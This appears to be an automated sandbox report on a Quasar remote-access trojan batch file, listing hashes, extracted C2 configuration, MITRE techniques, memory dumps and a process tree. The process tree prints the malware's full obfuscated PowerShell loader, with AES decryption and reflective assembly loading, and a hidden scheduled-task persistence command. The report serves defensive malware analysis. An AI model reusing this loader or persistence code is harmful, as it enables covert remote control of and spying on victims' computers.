Overview

overview

10

Static

static

1

5vFnUTA.bat

windows10-2004-x64

10

Analysis

  • max time kernel
    15s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-06-2024 17:27

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    5vFnUTA.bat

  • Size

    33.8MB

  • MD5

    7360d5c5787795efddb21ead0a7b087a

  • SHA1

    261a0079e595fbf4203d4314d29e233d8a0ef9fc

  • SHA256

    f1ebb419ee0133174b64a7668c750f87367970971daaffdf1f85328c4875d9e6

  • SHA512

    9be6997a3fae5bc97c997c46bae8985606527e91430fb4c145119fdfd97d8daa83523e9fa2cd40ce3486c231dcedbd4a4159c2f645b1746998ab2419aa262d14

  • SSDEEP

    12288:PiR+aj62WqH39ttfD1KhLZ6azySThfOwppoCQ/gcOhKrYFuuZUDGO0:aQt2WwxGJtvpOt/owriUDt0

Score
10/10
quasarslaveexecutionspywaretrojan

Malware Config

Extracted

Family

quasar

Version

1.3.0.0

Botnet

Slave

C2

runderscore00-61208.portmap.host:61208

Mutex

QSR_MUTEX_cq1PvE2FSZsrtLytho

Attributes
  • encryption_key

    5vXgZSbIpHJzAn3ZrosQ

  • install_name

    $phantom-powershell.exe

  • log_directory

    $phantom-Logs

  • reconnect_delay

    3000

  • startup_key

    Powershell

  • subdirectory

    $phantom-zero

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\5vFnUTA.bat"
    1⤵
      PID:2112
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lfqvBn8hofubXSZmsKmV83W9/qxpo9rugEdXZEomQLQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bUSTj74gvGgYEhrqOpYzuQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $IoSqq=New-Object System.IO.MemoryStream(,$param_var); $WqTdq=New-Object System.IO.MemoryStream; $NwpAs=New-Object System.IO.Compression.GZipStream($IoSqq, [IO.Compression.CompressionMode]::Decompress); $NwpAs.CopyTo($WqTdq); $NwpAs.Dispose(); $IoSqq.Dispose(); $WqTdq.Dispose(); $WqTdq.ToArray();}function execute_function($param_var,$param2_var){ $nzMDD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $RfEIj=$nzMDD.EntryPoint; $RfEIj.Invoke($null, $param2_var);}$LVpLY = 'C:\Users\Admin\AppData\Local\Temp\5vFnUTA.bat';$host.UI.RawUI.WindowTitle = $LVpLY;$UqrjN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($LVpLY).Split([Environment]::NewLine);foreach ($uWetJ in $UqrjN) { if ($uWetJ.StartsWith('gXDGnOjJvtwCvUiJRmac')) { $KAIJT=$uWetJ.Substring(20); break; }}$payloads_var=[string[]]$KAIJT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        2⤵
          PID:4780
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
          2⤵
          • Command and Scripting Interpreter: PowerShell
          PID:552
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_347_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_347.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
            3⤵
            • Command and Scripting Interpreter: PowerShell
            PID:2308
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_347.vbs"
            3⤵
              PID:1404
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_347.bat" "
                4⤵
                  PID:4356
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lfqvBn8hofubXSZmsKmV83W9/qxpo9rugEdXZEomQLQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bUSTj74gvGgYEhrqOpYzuQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $IoSqq=New-Object System.IO.MemoryStream(,$param_var); $WqTdq=New-Object System.IO.MemoryStream; $NwpAs=New-Object System.IO.Compression.GZipStream($IoSqq, [IO.Compression.CompressionMode]::Decompress); $NwpAs.CopyTo($WqTdq); $NwpAs.Dispose(); $IoSqq.Dispose(); $WqTdq.Dispose(); $WqTdq.ToArray();}function execute_function($param_var,$param2_var){ $nzMDD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $RfEIj=$nzMDD.EntryPoint; $RfEIj.Invoke($null, $param2_var);}$LVpLY = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_347.bat';$host.UI.RawUI.WindowTitle = $LVpLY;$UqrjN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($LVpLY).Split([Environment]::NewLine);foreach ($uWetJ in $UqrjN) { if ($uWetJ.StartsWith('gXDGnOjJvtwCvUiJRmac')) { $KAIJT=$uWetJ.Substring(20); break; }}$payloads_var=[string[]]$KAIJT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                    5⤵
                      PID:60
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                      5⤵
                      • Command and Scripting Interpreter: PowerShell
                      PID:4872
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4088 --field-trial-handle=2676,i,447940133669489189,1353734109898858672,262144 --variations-seed-version /prefetch:8
              1⤵
                PID:4320

              Network

              MITRE ATT&CK Matrix ATT&CK v13

              Initial Access

              Execution

              Command and Scripting Interpreter

              1
              T1059

              PowerShell

              1
              T1059.001

              Persistence

              Privilege Escalation

              Defense Evasion

              Credential Access

              Discovery

              Lateral Movement

              Collection

              Exfiltration

              Command and Control

              Impact

              Resource Development

              Reconnaissance

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                Filesize

                3KB

                MD5

                661739d384d9dfd807a089721202900b

                SHA1

                5b2c5d6a7122b4ce849dc98e79a7713038feac55

                SHA256

                70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

                SHA512

                81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

                Download Submit
              • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
                Filesize

                2KB

                MD5

                005bc2ef5a9d890fb2297be6a36f01c2

                SHA1

                0c52adee1316c54b0bfdc510c0963196e7ebb430

                SHA256

                342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

                SHA512

                f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

                Download Submit
              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ot5oopac.rty.ps1
                Filesize

                60B

                MD5

                d17fe0a3f47be24a6453e9ef58c94641

                SHA1

                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                SHA256

                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                SHA512

                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                Download Submit
              • C:\Users\Admin\AppData\Roaming\$phantom-startup_str_347.bat
                Filesize

                9.6MB

                MD5

                a5544eeb7a29ad5fccfd082c916be054

                SHA1

                ed1ea8adfa4cfd813a00c699e4ef19971a3aa51d

                SHA256

                f56a778ea5541ce7c72bf227f9200bb6fb7c42a062cdf050bf5283a58d074141

                SHA512

                e26ef83c7b5beddf4b2652f2dcccba675db7c7a6aa253a3819935ec23e9f0ee791de7dda4a1265220a38ab3d253f816f9578d0eac086c44cb1acffdc8fd5e006

                Download Submit
              • C:\Users\Admin\AppData\Roaming\$phantom-startup_str_347.vbs
                Filesize

                124B

                MD5

                36ef0f6a012ffbc95112b49b43bed054

                SHA1

                7de026eddb823fc7a78a0cf55e457402f668b49a

                SHA256

                64c9e1794fbbc7a3a3268b2ec6965acc759cbd271d58bdd77a385cbc779dc100

                SHA512

                4411679ecd5f02a19c2ec759f7971bac339be539167d37dc21a56e5a84db333bdaf9137a7d665e8c22be1e52938d5ab6a39e24a03898eedd12563c78b143c6c0

                Download Submit
              • memory/464-104-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/552-14-0x000001C47BB40000-0x000001C47BB84000-memory.dmp
                Filesize

                272KB

                Download
              • memory/552-12-0x00007FFC8BE00000-0x00007FFC8C8C1000-memory.dmp
                Filesize

                10.8MB

                Download
              • memory/552-16-0x000001C47B340000-0x000001C47B348000-memory.dmp
                Filesize

                32KB

                Download
              • memory/552-17-0x000001C47BB90000-0x000001C47BC00000-memory.dmp
                Filesize

                448KB

                Download
              • memory/552-15-0x000001C47BC10000-0x000001C47BC86000-memory.dmp
                Filesize

                472KB

                Download
              • memory/552-11-0x00007FFC8BE00000-0x00007FFC8C8C1000-memory.dmp
                Filesize

                10.8MB

                Download
              • memory/552-0-0x00007FFC8BE03000-0x00007FFC8BE05000-memory.dmp
                Filesize

                8KB

                Download
              • memory/552-41-0x00007FFC8BE00000-0x00007FFC8C8C1000-memory.dmp
                Filesize

                10.8MB

                Download
              • memory/552-1-0x000001C47B710000-0x000001C47B732000-memory.dmp
                Filesize

                136KB

                Download
              • memory/552-13-0x00007FFC8BE00000-0x00007FFC8C8C1000-memory.dmp
                Filesize

                10.8MB

                Download
              • memory/768-90-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/884-96-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/936-105-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/1072-115-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/1140-91-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/1164-98-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/1176-87-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/1272-97-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/1280-103-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/1328-106-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/1348-113-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/1368-112-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/1488-94-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/1516-111-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/1656-102-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/1756-89-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/1888-108-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/1896-92-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/2148-88-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/2260-110-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/2308-33-0x00007FFC8BE00000-0x00007FFC8C8C1000-memory.dmp
                Filesize

                10.8MB

                Download
              • memory/2308-24-0x00007FFC8BE00000-0x00007FFC8C8C1000-memory.dmp
                Filesize

                10.8MB

                Download
              • memory/2308-29-0x00007FFC8BE00000-0x00007FFC8C8C1000-memory.dmp
                Filesize

                10.8MB

                Download
              • memory/2308-30-0x00007FFC8BE00000-0x00007FFC8C8C1000-memory.dmp
                Filesize

                10.8MB

                Download
              • memory/2540-99-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/2580-95-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/2664-93-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/2692-107-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/3264-101-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/3380-52-0x0000000003380000-0x00000000033AA000-memory.dmp
                Filesize

                168KB

                Download
              • memory/3380-86-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/4280-109-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/4700-114-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download
              • memory/4872-152-0x000002A6B2A40000-0x000002A6B2A9E000-memory.dmp
                Filesize

                376KB

                Download
              • memory/4872-153-0x000002A6A2480000-0x000002A6A2492000-memory.dmp
                Filesize

                72KB

                Download
              • memory/4872-154-0x000002A6B2EE0000-0x000002A6B2F1C000-memory.dmp
                Filesize

                240KB

                Download
              • memory/4884-100-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp
                Filesize

                64KB

                Download